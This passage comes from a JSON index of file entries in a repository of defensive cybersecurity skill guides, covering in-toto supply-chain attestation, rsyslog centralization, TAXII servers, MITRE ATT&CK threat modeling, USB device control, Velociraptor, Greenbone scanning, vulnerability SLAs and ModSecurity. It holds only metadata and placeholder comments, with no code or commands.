TAXII client to poll for new indicators, or setting up TAXII collections for indicator exchange.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-intelligence","cti","ioc","mitre-attack","stix","taxii","feed-integration","oasis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589"]},"isInternal":false,"tokens":2638,"sizeBytes":10615},{"name":"template.md","path":"skills/implementing-supply-chain-security-with-in-toto/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-supply-chain-security-with-in-toto/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":330,"sizeBytes":1356},{"name":"api-reference.md","path":"skills/implementing-supply-chain-security-with-in-toto/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-supply-chain-security-with-in-toto/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1230,"sizeBytes":4813},{"name":"standards.md","path":"skills/implementing-supply-chain-security-with-in-toto/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-supply-chain-security-with-in-toto/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":497,"sizeBytes":2200},{"name":"workflows.md","path":"skills/implementing-supply-chain-security-with-in-toto/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-supply-chain-security-with-in-toto/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":636,"sizeBytes":2826},{"name":"SKILL.md","path":"skills/implementing-supply-chain-security-with-in-toto/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-supply-chain-security-with-in-toto/SKILL.md","title":"implementing-supply-chain-security-with-in-toto","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2FSKILL.md -->","frontmatter":{"name":"implementing-supply-chain-security-with-in-toto","description":"Implements supply chain integrity verification for container builds with the in-toto framework: generating signing keys, defining a supply chain layout, recording pipeline steps as signed link metadata, verifying before deployment, enforcing at Kubernetes admission, and integrating with SLSA. Use when attesting CI/CD pipeline steps, proving an image followed the approved build process, or enforcing provenance at admission. Keywords: in-toto, layout, link metadata, step, inspection, SLSA, provenance, admission. Do not use for signing and verifying images with Cosign - use implementing-image-provenance-verification-with-cosign.","domain":"cybersecurity","subdomain":"container-security","tags":["in-toto","supply-chain-security","attestation","slsa","sigstore","container-security","cncf","provenance","sbom"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525","T1195"]},"isInternal":false,"tokens":2465,"sizeBytes":10130},{"name":"api-reference.md","path":"skills/implementing-syslog-centralization-with-rsyslog/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-syslog-centralization-with-rsyslog/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-syslog-centralization-with-rsyslog%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":521,"sizeBytes":1897},{"name":"SKILL.md","path":"skills/implementing-syslog-centralization-with-rsyslog/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-syslog-centralization-with-rsyslog/SKILL.md","title":"implementing-syslog-centralization-with-rsyslog","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-syslog-centralization-with-rsyslog%2FSKILL.md -->","frontmatter":{"name":"implementing-syslog-centralization-with-rsyslog","description":"Configure rsyslog for centralized log collection with TLS encryption, custom templates, and log rotation, generating server and client configuration files with GnuTLS stream drivers, x509 certificate authentication, per-host log segregation, and reliable queue settings. Use when building a centralized, encrypted syslog pipeline, hardening rsyslog client/server configs for high-availability log infrastructure, or troubleshooting TLS-based syslog forwarding.","domain":"cybersecurity","subdomain":"security-operations","tags":["syslog","rsyslog","log-centralization","tls-encryption","log-management","security-operations"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1573","T1486"]},"isInternal":false,"tokens":683,"sizeBytes":2775},{"name":"api-reference.md","path":"skills/implementing-taxii-server-with-opentaxii/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-taxii-server-with-opentaxii/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-taxii-server-with-opentaxii%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1227,"sizeBytes":4332},{"name":"SKILL.md","path":"skills/implementing-taxii-server-with-opentaxii/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-taxii-server-with-opentaxii/SKILL.md","title":"implementing-taxii-server-with-opentaxii","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-taxii-server-with-opentaxii%2FSKILL.md -->","frontmatter":{"name":"implementing-taxii-server-with-opentaxii","description":"Deploy and configure a TAXII 2.1 server (Medallion) with Docker, publish and consume STIX 2.1 bundles across collections, and integrate the feed with SIEM/SOAR platforms for automated indicator exchange between organizations. Use when standing up a TAXII server to share threat intel, configuring collections for CTI feeds, or automating STIX indicator ingestion into a SIEM/SOAR.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["taxii","stix","opentaxii","threat-sharing","cti","indicator-exchange","taxii-server","automation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589"]},"isInternal":false,"tokens":3439,"sizeBytes":14229},{"name":"api-reference.md","path":"skills/implementing-threat-intelligence-lifecycle-management/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-threat-intelligence-lifecycle-management/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-threat-intelligence-lifecycle-management%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1327,"sizeBytes":5005},{"name":"SKILL.md","path":"skills/implementing-threat-intelligence-lifecycle-management/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-threat-intelligence-lifecycle-management/SKILL.md","title":"implementing-threat-intelligence-lifecycle-management","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-threat-intelligence-lifecycle-management%2FSKILL.md -->","frontmatter":{"name":"implementing-threat-intelligence-lifecycle-management","description":"Build out a full CTI program around the six-phase threat intelligence lifecycle (direction, collection, processing, analysis, dissemination, feedback), including defining intelligence requirements, building a collection pipeline, normalizing data, and tracking dissemination feedback. Use when standing up or maturing a threat intelligence program, defining intelligence requirements, or designing collection-to-dissemination workflows for a CTI team.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-intelligence","lifecycle","intelligence-cycle","collection","analysis","dissemination","strategic-intelligence","cti-program"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589"]},"isInternal":false,"tokens":3238,"sizeBytes":15317},{"name":"api-reference.md","path":"skills/implementing-threat-modeling-with-mitre-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-threat-modeling-with-mitre-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-threat-modeling-with-mitre-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":617,"sizeBytes":2264},{"name":"SKILL.md","path":"skills/implementing-threat-modeling-with-mitre-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-threat-modeling-with-mitre-attack/SKILL.md","title":"implementing-threat-modeling-with-mitre-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-threat-modeling-with-mitre-attack%2FSKILL.md -->","frontmatter":{"name":"implementing-threat-modeling-with-mitre-attack","description":"Implements threat modeling using the MITRE ATT&CK framework to map adversary TTPs against organizational assets, assess detection coverage gaps, and prioritize defensive investments. Use when SOC teams need to align detection engineering with threat landscape, conduct threat assessments for new environments, or justify security tool procurement.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","mitre-attack","threat-modeling","ttp","detection-coverage","attack-navigator","risk-assessment"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566"]},"isInternal":false,"tokens":3451,"sizeBytes":13825},{"name":"api-reference.md","path":"skills/implementing-ticketing-system-for-incidents/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ticketing-system-for-incidents/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ticketing-system-for-incidents%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":676,"sizeBytes":2413},{"name":"SKILL.md","path":"skills/implementing-ticketing-system-for-incidents/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ticketing-system-for-incidents/SKILL.md","title":"implementing-ticketing-system-for-incidents","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ticketing-system-for-incidents%2FSKILL.md -->","frontmatter":{"name":"implementing-ticketing-system-for-incidents","description":"Implements an integrated incident ticketing system connecting SIEM alerts to ServiceNow, Jira, or TheHive for structured incident tracking, SLA management, escalation workflows, and compliance documentation. Use when SOC teams need formalized incident lifecycle management with automated ticket creation, assignment routing, and resolution tracking.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","ticketing","servicenow","jira","thehive","incident-management","sla","workflow"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566"]},"isInternal":false,"tokens":3940,"sizeBytes":16437},{"name":"template.md","path":"skills/implementing-usb-device-control-policy/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-usb-device-control-policy/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":151,"sizeBytes":631},{"name":"api-reference.md","path":"skills/implementing-usb-device-control-policy/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-usb-device-control-policy/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1564,"sizeBytes":6248},{"name":"standards.md","path":"skills/implementing-usb-device-control-policy/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-usb-device-control-policy/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":168,"sizeBytes":666},{"name":"workflows.md","path":"skills/implementing-usb-device-control-policy/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-usb-device-control-policy/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":155,"sizeBytes":680},{"name":"SKILL.md","path":"skills/implementing-usb-device-control-policy/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-usb-device-control-policy/SKILL.md","title":"implementing-usb-device-control-policy","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2FSKILL.md -->","frontmatter":{"name":"implementing-usb-device-control-policy","description":"Implements USB device control policies to restrict unauthorized removable media access on endpoints, preventing data exfiltration and malware introduction via USB devices. Use when deploying device control via Group Policy, Intune, or EDR platforms to enforce USB restrictions. Activates for requests involving USB control, removable media policy, device control, or data loss prevention via USB.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","USB-control","device-control","data-loss-prevention","removable-media"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1055","T1547","T1059","T1036","T1048"]},"isInternal":false,"tokens":1311,"sizeBytes":5522},{"name":"template.md","path":"skills/implementing-velociraptor-for-ir-collection/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-velociraptor-for-ir-collection/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":310,"sizeBytes":1237},{"name":"api-reference.md","path":"skills/implementing-velociraptor-for-ir-collection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-velociraptor-for-ir-collection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1161,"sizeBytes":4564},{"name":"standards.md","path":"skills/implementing-velociraptor-for-ir-collection/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-velociraptor-for-ir-collection/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":366,"sizeBytes":1795},{"name":"workflows.md","path":"skills/implementing-velociraptor-for-ir-collection/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-velociraptor-for-ir-collection/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":781,"sizeBytes":3139},{"name":"SKILL.md","path":"skills/implementing-velociraptor-for-ir-collection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-velociraptor-for-ir-collection/SKILL.md","title":"implementing-velociraptor-for-ir-collection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2FSKILL.md -->","frontmatter":{"name":"implementing-velociraptor-for-ir-collection","description":"Deploy and configure Velociraptor for scalable endpoint forensic artifact collection during incident response using VQL queries, hunts, and pre-built artifact packs across Windows, Linux, and macOS environments.","domain":"cybersecurity","subdomain":"incident-response","tags":["velociraptor","dfir","endpoint-collection","vql","forensic-artifacts","rapid7","threat-hunting","incident-response"],"mitre_attack":["T1486","T1490","T1070","T1078","T1005"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2266,"sizeBytes":9209},{"name":"api-reference.md","path":"skills/implementing-vulnerability-management-with-greenbone/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-vulnerability-management-with-greenbone/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-management-with-greenbone%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":723,"sizeBytes":2531},{"name":"SKILL.md","path":"skills/implementing-vulnerability-management-with-greenbone/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-vulnerability-management-with-greenbone/SKILL.md","title":"implementing-vulnerability-management-with-greenbone","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-management-with-greenbone%2FSKILL.md -->","frontmatter":{"name":"implementing-vulnerability-management-with-greenbone","description":"Deploy and operate Greenbone/OpenVAS vulnerability management using the python-gvm library over the Greenbone Management Protocol (GMP) to connect via Unix socket or TLS, create scan targets and configs, execute scans, and parse the XML scan reports into actionable findings. Use when automating OpenVAS/GVM scan creation and execution, or programmatically retrieving and parsing vulnerability scan reports.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["openvas","greenbone","vulnerability-scanning","gmp","python-gvm","vulnerability-management","compliance"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068","T1046"]},"isInternal":false,"tokens":684,"sizeBytes":3110},{"name":"template.md","path":"skills/implementing-vulnerability-remediation-sla/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-vulnerability-remediation-sla/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":342,"sizeBytes":1187},{"name":"api-reference.md","path":"skills/implementing-vulnerability-remediation-sla/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-vulnerability-remediation-sla/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1352,"sizeBytes":4825},{"name":"standards.md","path":"skills/implementing-vulnerability-remediation-sla/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-vulnerability-remediation-sla/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":340,"sizeBytes":1158},{"name":"workflows.md","path":"skills/implementing-vulnerability-remediation-sla/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-vulnerability-remediation-sla/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":368,"sizeBytes":1526},{"name":"SKILL.md","path":"skills/implementing-vulnerability-remediation-sla/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-vulnerability-remediation-sla/SKILL.md","title":"implementing-vulnerability-remediation-sla","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2FSKILL.md -->","frontmatter":{"name":"implementing-vulnerability-remediation-sla","description":"Design a vulnerability remediation SLA program covering asset tiering, a severity-based SLA matrix, exception processes, escalation chains, ticketing-system integration, and remediation KPIs/trending metrics. Use when defining mandatory patching timeframes by severity and asset criticality, building an SLA policy document, or setting up escalation and KPI tracking for vulnerability remediation.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["vulnerability-management","cve","sla","remediation","patch-management","risk"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":1697,"sizeBytes":7600},{"name":"template.md","path":"skills/implementing-vulnerability-sla-breach-alerting/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-vulnerability-sla-breach-alerting/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":813,"sizeBytes":3236},{"name":"api-reference.md","path":"skills/implementing-vulnerability-sla-breach-alerting/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-vulnerability-sla-breach-alerting/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1533,"sizeBytes":5758},{"name":"standards.md","path":"skills/implementing-vulnerability-sla-breach-alerting/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-vulnerability-sla-breach-alerting/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":648,"sizeBytes":2656},{"name":"workflows.md","path":"skills/implementing-vulnerability-sla-breach-alerting/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-vulnerability-sla-breach-alerting/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":597,"sizeBytes":2532},{"name":"SKILL.md","path":"skills/implementing-vulnerability-sla-breach-alerting/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-vulnerability-sla-breach-alerting/SKILL.md","title":"implementing-vulnerability-sla-breach-alerting","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2FSKILL.md -->","frontmatter":{"name":"implementing-vulnerability-sla-breach-alerting","description":"Build an automated SLA breach alerting system for vulnerability remediation, including a database schema for SLA tracking, breach detection logic, notification dispatch, a scheduled check runner, and a KPI/compliance metrics dashboard. Use when implementing severity-based SLA timelines (critical/high/medium/low), detecting and escalating SLA breaches, or building vulnerability remediation compliance reporting.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["vulnerability-sla","remediation-tracking","alerting","compliance","sla-breach","vulnerability-management","escalation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":2730,"sizeBytes":10263},{"name":"api-reference.md","path":"skills/implementing-web-application-logging-with-modsecurity/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-web-application-logging-with-modsecurity/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-web-application-logging-with-modsecurity%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":541,"sizeBytes":2136},{"name":"SKILL.md","path":"skills/implementing-web-application-logging-with-modsecurity/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-web-application-logging-with-modsecurity/SKILL.md","title":"implementing-web-application-logging-with-modsecurity","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-web-application-logging-with-modsecurity%2FSKILL.md -->","frontmatter":{"name":"implementing-web-application-logging-with-modsecurity","description":"Configure ModSecurity WAF with the OWASP Core Rule Set (CRS) for web application audit logging, tuning SecRuleEngine, SecAuditEngine, and CRS paranoia levels to reduce false positives, and writing custom SecRules for application-specific threats. Use when deploying or tuning a ModSecurity WAF, analyzing audit logs for attack detection, or reducing CRS false positives.","domain":"cybersecurity","subdomain":"web-application-security","tags":["modsecurity","waf","crs","owasp","web-security","audit-logging","rule-tuning"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083"]},"isInternal":false,"tokens":643,"sizeBytes":2457},{"name":"api-reference.md","path":"skills/implementing-zero-knowledge-proof-for-authentication/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-knowledge-proof-for-authentication/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via 